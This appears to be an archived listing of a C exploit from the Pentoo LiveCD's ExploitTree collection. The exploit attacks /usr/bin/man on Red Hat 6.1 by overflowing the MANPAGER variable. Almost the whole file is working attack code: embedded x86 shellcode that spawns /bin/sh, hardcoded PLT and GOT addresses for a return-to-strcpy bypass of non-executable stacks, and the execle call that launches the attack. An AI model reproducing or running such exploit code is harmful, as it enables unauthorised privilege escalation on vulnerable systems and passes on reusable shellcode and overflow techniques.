home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / 3man.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  65 lines

  1. /*
  2.  * Rewriten from:
  3.  * (c) 2000 babcia padlina / b0f
  4.  * (lcamtuf's idea)
  5.  * by Kil3r of Lam3rZ
  6.  * for nonexec stack environment
  7.  * 
  8.  * redhat 6.1 (and others) /usr/bin/man exploit
  9. */
  10.  
  11.         char execshell[] =
  12.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  13.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  14.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  15.  
  16.  
  17. #include <stdio.h>
  18. #include <sys/param.h>
  19. #include <sys/stat.h>
  20. #include <string.h>
  21.  
  22. #define STRCPY          0x80490e4       // <== strcpy() PLT entry
  23. #define GOT             0x805038c       // <== strcpy() GOT entry
  24. #define NOP             0x90
  25. #define BUFSIZE         4033+38
  26. #define RET             STRCPY          //0x46464646
  27. #define _BIN_SH         0xbfffffe7      // <== where we have "/bin/sh" string,
  28.                                         //    curently useless ;)
  29. #define SHELLCODE       0xbfffffc1
  30.  
  31. long getesp(void)
  32. {
  33.    __asm__("movl %esp, %eax\n");
  34. }
  35.  
  36. int main(argc, argv)
  37. int argc;
  38. char **argv;
  39. {
  40.         char buf[BUFSIZE], *p;
  41.         char *env[3];
  42.         int *ap;
  43.  
  44.         memset(buf,NOP,BUFSIZE);
  45.  
  46.         p=buf+BUFSIZE-4;
  47.         ap=(int *)p;
  48.         *ap++ =RET;
  49.         *ap++ =GOT+4;
  50.         *ap++ =GOT+4;
  51.         *ap++ =SHELLCODE;
  52.  
  53.         fprintf(stderr, "RET: 0x%x  SHELLCODE: 0x%x", RET, SHELLCODE);
  54.  
  55.         memcpy(buf,"MANPAGER=", 9);
  56.         env[0]=buf;
  57. //      env[1]="/bin/sh";
  58.         env[1]=execshell;
  59.         env[2]=(char *)0;
  60.         execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
  61.                                 // shellcode and other params at fixed addr!!!
  62.  
  63.         return 0;
  64. }
  65.